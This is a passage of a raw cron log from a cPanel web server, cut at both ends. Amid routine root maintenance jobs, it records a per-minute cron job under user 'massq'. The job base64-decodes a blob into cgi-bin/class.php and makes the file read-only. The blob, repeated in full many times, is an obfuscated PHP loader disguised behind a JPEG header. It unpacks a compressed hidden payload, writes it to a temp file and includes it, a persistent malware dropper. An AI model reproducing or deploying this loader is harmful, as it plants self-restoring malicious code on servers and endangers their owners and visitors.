"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:45:01 server CROND[25817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:45:01 server CROND[25818]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:45:01 server CROND[25819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:46:01 server CROND[25947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:47:01 server CROND[26018]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Apr  8 02:47:01 server CROND[26019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:47:45 server crontab[26275]: (root) LIST (root)
Apr  8 02:47:45 server crontab[26277]: (root) LIST (root)
Apr  8 02:47:50 server crontab[26376]: (root) LIST (root)
Apr  8 02:48:01 server CROND[26584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:49:01 server CROND[27018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:50:01 server CROND[27094]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 02:50:01 server CROND[27096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:50:01 server CROND[27097]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:50:01 server CROND[27095]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 02:50:01 server CROND[27098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:51:01 server CROND[27235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:52:01 server CROND[27299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:53:01 server CROND[27473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:54:01 server CROND[27537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:55:01 server CROND[27597]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:55:01 server CROND[27598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:55:01 server CROND[27599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:56:01 server CROND[27720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:57:01 server CROND[27789]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 02:57:01 server CROND[27790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkp